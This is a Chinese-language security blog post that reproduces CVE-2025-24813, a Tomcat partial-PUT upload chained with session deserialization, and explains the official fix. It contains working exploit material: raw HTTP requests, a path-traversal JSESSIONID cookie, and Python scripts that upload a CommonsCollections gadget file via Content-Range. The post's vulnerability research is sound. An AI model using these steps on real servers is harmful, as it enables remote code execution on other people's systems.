Apache Tomcat partial PUT文件上传反序列化漏洞

分析一下CVE-2025-24813

Apache Tomcat partial PUT文件上传反序列化漏洞

今年年初三月份爆出来的CVE-2025-24813,Apache Tomcat partial PUT文件上传反序列化漏洞。算是一个结合了tomcat历史cve的一个漏洞,这里特此来复现一下。

漏洞版本:

  • 11.0.0-M1 <= Apache Tomcat < 11.0.3
  • 10.1.0-M1 <= Apache Tomcat < 10.1.35
  • 9.0.0.M1 <= Apache Tomcat < 9.0.99

漏洞利用条件:

算是融合tomcat的CVE-2017-12615和CVE-2020-9484然后想出来的一个新的利用方式。故利用条件都是差不多的,目标环境需要满足如下几个需求:

  • readOnly为false(也就是开启put、delete请求方法来操作文件,默认为true)
  • 服务器PersistenceManager配置中使用了FileStore
  • 目标环境存在可供反序列化的类。

关于CVE-2017-12615和CVE-2020-9484的分析,可以参考我之前的文章:

Tomcat PUT文件上传和Session 反序列化代码执行漏洞分析

学习了这两个漏洞后,可以很容易知道,在配置不当下,是否可以用put文件上传来解决session反序列化需要的目标环境需要存在文件的难点呢?如下从原理到复现开始一步一步分析,tomcat环境为9.0.35,jdk为8u71。

环境搭建及攻击流程分析

在idea上搭建tomcat环境,然后修改/conf/web.xml文件内容:

image-20250927222930194

就是在原配置上打开了put文件上传的权限。然后修改conf/context.xml文件内容:

image-20250927223150701

添加如图部分即可。其实就是将两个CVE的不当配置都结合起来,然后结合起来打。

put文件上传分析

首先需要搞懂为什么我们要put文件上传,上传了的文件是干什么,结合两个cve来说,可以简单地认为可以上传一个文件到web目录下,并且将文件后缀设置为session,然后再调用FileStore来目录穿越加载对应的文件,故需要tomcat是在存在session反序列化漏洞的版本中,这里尝试使用tomcat9.0.20并且对原先的put文件上传的链路进行分析:

从理论上来说,如下打即可:

put文件上传:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
PUT /tomcat7_0_79_Web_exploded/ser.session HTTP/1.1
Host: 192.168.153.178:8087
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 67

{{反序列化文件内容}}

session反序列化加载:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /tomcat9_0_35_Web_exploded/ HTTP/1.1
Host: 192.168.153.178:8083
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=../../../../../../../../../../Desktop/java_learn/javaweb project/tomcat9.0.20/out/artifacts/tomcat9_0_20_Web_exploded/ser
Upgrade-Insecure-Requests: 1
Priority: u=0, i

这里目录穿越的个数说明一下,在前面的分析中,我们可以知道session文件加载的目录与put文件上传的目录分别为:

1
2
3
4
/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/1e112f7e-49f1-4f6d-8404-dc4563d75f0c/work/Catalina/localhost/tomcat9_0_20_Web_exploded/


/Users/xxxxxxxx/Desktop/java_learn/javaweb project/tomcat9.0.20/out/artifacts/tomcat9_0_20_Web_exploded/ser

故这里穿了十个到xxxxxxxx目录下,然后再进行加载,但是实际上在tomcat中应该不用穿这么多层(如果使用/bin/start.up开启的tomcat),只用如下穿即可:

1
../../../../webapps/tomcat9_0_20_Web_exploded/ser

因为从tomcat源码来看,webapps目录和work目录是同目录的,我这里使用的idea配合tomcat,有差别,故正常环境应该是像上述那样穿(理论上,没搭环境去试)

最后尝试攻击如下:

使用python脚本来上传打cc5反序列化的文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests

url = "http://url/tomcat9_0_20_Web_exploded/ser.session"

local_file = "ser.session"

with open(local_file, "rb") as f:
    file_data = f.read()

resp = requests.put(url, data=file_data, headers={
    "Content-Type": "application/octet-stream"
})

print("状态码:", resp.status_code)

回显201成功创建,在web目录找到文件:

image-20250928113640358

然后直接打加载session文件:

image-20250928113526015

打不通,后面仔细看了一下,cookie中的javaweb project中有一个空格,导致不能正常获取到cookie中设置的JSESSIONID的值。唉😮‍💨,因此又搭建了一个项目来进行复现,还是先put上传文件,最后成功加载文件达到反序列攻击:

image-20250928114513340

注意lib中的cc依赖需要存在。

由此成功实现了一次put文件上传+session加载文件到达反序列化攻击。

————————

最后来看一下tomcat高版本对put文件上传的修复,在写入文件前对路径进行了校验:

image-20250928115448554

直接返回false导致不能继续写入,此时的调用栈为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
write:222, DirResourceSet (org.apache.catalina.webresources)
write:184, StandardRoot (org.apache.catalina.webresources)
doPut:590, DefaultServlet (org.apache.catalina.servlets)
service:663, HttpServlet (javax.servlet.http)
service:435, DefaultServlet (org.apache.catalina.servlets)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:200, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:490, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:678, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:836, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1839, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

————————————

那么更高版本的tomcat呢,该怎么打,限制了目录穿越,前面的攻击方法肯定就不能生效了,然而,在put文件上传的地方,又玩出了新花样,在tomcat9.0.35下进行分析,跟进DefaultServlet类的doPut()方法:

image-20250928144110782

跟进parseContentRange()方法:

image-20250928144201549

检测请求包中是否有Content-Range请求头,没有的话就返回Range实例:

image-20250928144259995

也就会进入到前面预期的方法,将上传的文件放到web目录中,但是这里也可以通过控制请求头Content-Range的长度来实现文件上传(其实这也是tomcat专门被设计要实现的用于大文件分块上传功能点),继续看代码:

image-20250928145751596

要求开启partial put,然后调用ContentRange.parse()方法解析参数并且只接受byte类型的,然后保存长度封存进range对象中,最后返回了这个range对象。回退出parseContentRange()方法,继续跟进:

image-20250928150103716

会进入else语句,会调用executePartialPut()方法,这是一个比较关键的方法,实现了对文件的写入,关键代码如下:

image-20250928150728333

这里new File()了一个文件路径,获取的是TEMPDIR指向的路径:

image-20250928150806893

可以写一个jsp文件来获取一下:

1
2
3
4
5
6
7
8
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
    out.println(request.getServletContext().getAttribute(ServletContext.TEMPDIR));
%>
</body>
</html>

访问拿到路径:

1
/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/c95d0ef3-f2a9-4529-9363-81226b1de81c/work/Catalina/localhost/tomcat9_0_35_Web_exploded

这一看不就是持久化session存储文件的地方吗,并且其实跟进FileStore的load()方法,其调用的file()方法中的关键调用的directory()方法,其定义了文件存储的路径,跟进如下:

image-20250928151302309

很明显了吧,这里的directory就是通过配置文件设置,不设置也没问题,其次也是通过servletContext.getAttribute(ServletContext.TEMPDIR)来获取的路径,这也是和前面一模一样的。

再回到DefaultServelt类的executePartialPut()方法,在获取到存储路径之后,对path进行了替换,将/替换为.,比如我通过设置uri为/ser/session,那么这里替换后就是.ser.session,正好也是符合.session文件。

再继续看,然后应该就是会将请求流中的数据写入到contentFile中了:

image-20250928152015195

最后写入到文件中:

image-20250928152051040

————————

由此链路清晰,通过控制Content-Range请求头,写入文件到持久化session存储文件的地方,然后直接加载即可,不需要使用../来进行目录穿越。

攻击复现

还是反序列化打cc5,使用python脚本上传文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://192.168.153.178:8083/tomcat9_0_35_Web_exploded/ser/session"
local_file = "ser.session"

with open(local_file, "rb") as f:
    file_data = f.read()

file_size = len(file_data)

# Content-Range: bytes=0-(size-1)/size
headers = {
    "Content-Range": f"bytes=0-{file_size-1}/{file_size}",
    "Content-Type": "application/octet-stream"
}

resp = requests.put(url, data=file_data, headers=headers)

print("状态码:", resp.status_code)

回显409状态码。

然后直接打加载即可:

image-20250928154007463

成功调用反序列化。并且再次调试也是符合前面分析的过程的。

————————

一些需要注意的地方:

Conten-Range的基本格式为:

1
Content-Range: bytes <start>-<end>/<total>

但是这里需要注意在解析Content-Range的值要符合tomcat中定义的格式:

image-20250928170700180

跟进parse()方法:

image-20250928170844694

要求了格式,故需要使用如下的格式:

1
Content-Range: bytes=<start>-<end>/<length>

其次还是要注意目标环境是否有可供打反序列化的类。

总结

限制条件更多了,算是两个CVE的结合体,但是还是找到了不同的一条路。重点还是对代码调用的理解以及对代码块功能实现的分析。

如何修复

当然还是开启readonly,这种配置完全没有必要开着吧。代码层面如何限制呢,在put文件上传时加一个不允许session后缀?抑或是在load()加载文件时不允许加载文件名以.开头。看了一下官方的修复逻辑:

来到DefaultServlet类的executePartialPut()方法:

image-20250928174845268

算是直接限制死了,这里直接不用你的path了,让你连文件名都摸不到,跟进File.createTempFile()方法(注意这里将suffix设置为了null):

image-20250928175111375

直接限制文件后缀为.tmp,别想用.session后缀,然后还调用了TempDirectory.generateFile()来随机生成文件名:

image-20250928175407441

似乎还在File.createTempFile()中调用checkWrite()方法进行了鉴权。

而FileStore类的load()方法似乎还没有什么变化。

这修复方式绝了,学到了,这样外部就不会知道文件名称以及无法控制文件后缀为.session。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计